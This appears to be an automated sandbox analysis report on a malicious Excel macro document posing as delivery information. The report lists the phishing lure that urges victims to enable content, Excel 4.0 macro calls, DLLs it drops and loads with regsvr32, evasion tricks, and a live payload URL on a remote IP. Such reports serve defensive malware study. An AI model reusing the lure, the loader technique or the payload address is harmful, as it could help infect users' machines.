Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: https://sectigo.com/CPS0
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://settings.outlook.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://shell.suite.office.com:1443
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://skyapi.live.net/Activity/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://staging.cortana.ai
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://store.office.cn/addinstemplate
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://store.office.com/addinstemplate
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://store.office.de/addinstemplate
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://tasks.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://templatelogging.office.com/client/log
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://web.microsoftstream.com/video/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://webshell.suite.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://wus2.contentsync.
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://wus2.pagecontentsync.
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://www.odwebp.svc.ms

System Summary:

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Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable editing " to unlock the editing document downloaded from the ir 13 14 Protected View This f
Source: Screenshot number: 4 Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start " 18 the decryption of the doc
Found Excel 4.0 Macro with suspicious formulas
Source: Delivery_Information_7038598.xlsb Initial sample: CALL
Source: Delivery_Information_7038598.xlsb Initial sample: CALL
Source: Delivery_Information_7038598.xlsb Initial sample: EXEC
Office process drops PE file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sat1_0609_2[1].dll Jump to dropped file
Tries to load missing DLLs
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: classification engine Classification label: mal88.expl.evad.winXLSB@3/11@0/1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\{7BE2EDF5-A9C4-4DEF-9DC0-1522802C2D95} - OProcSessId.dat Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\kdldyeff.dll
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\kdldyeff.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: Delivery_Information_7038598.xlsb Initial sample: OLE zip file path = xl/media/image1.png
Source: Delivery_Information_7038598.xlsb Initial sample: OLE zip file path = xl/media/image2.png
Source: Delivery_Information_7038598.xlsb Initial sample: OLE zip file path = xl/media/image3.png
Source: Delivery_Information_7038598.xlsb Initial sample: OLE zip file path = xl/media/image4.png
Source: Delivery_Information_7038598.xlsb Initial sample: OLE zip file path = xl/media/image5.png
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior

Data Obfuscation:

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Registers a DLL
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\kdldyeff.dll
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_03042ABC push dword ptr [edx+14h]; ret 2_2_03042BFD

Persistence and Installation Behavior:

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Drops PE files
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sat1_0609_2[1].dll Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to dropped file

Boot Survival:

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Drops PE files to the user root directory
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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Found dropped PE file which has not been started or loaded
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sat1_0609_2[1].dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 4600 Thread sleep time: -70000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Thread delayed: delay time: 70000 Jump to behavior

Anti Debugging:

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Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\regsvr32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process queried: DebugPort Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

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Yara detected Xls With Macro 4.0
Source: Yara match File source: app.xml, type: SAMPLE
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 432152 Sample: Delivery_Information_7038598.xlsb Startdate: 09/06/2021 Architecture: WINDOWS Score: 88 21 Document exploit detected (drops PE files) 2->21 23 Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) 2->23 25 Drops PE files to the user root directory 2->25 27 4 other signatures 2->27 6 EXCEL.EXE 36 46 2->6         started        process3 dnsIp4 19 185.180.199.121, 49747, 80 HOSTING-SOLUTIONSUS Netherlands 6->19 13 C:\Users\user\kdldyeff.dll, PE32 6->13 dropped 15 C:\Users\user\AppData\...\sat1_0609_2[1].dll, PE32 6->15 dropped 17 C:\...\~$Delivery_Information_7038598.xlsb, data 6->17 dropped 29 Document exploit detected (creates forbidden files) 6->29 31 Document exploit detected (UrlDownloadToFile) 6->31 11 regsvr32.exe 6->11         started        file5 signatures6 process7
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.180.199.121
 unknown Netherlands
14576 HOSTING-SOLUTIONSUS false

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.180.199.121/sat1_0609_2.dll false
  • Avira URL Cloud: safe
 unknown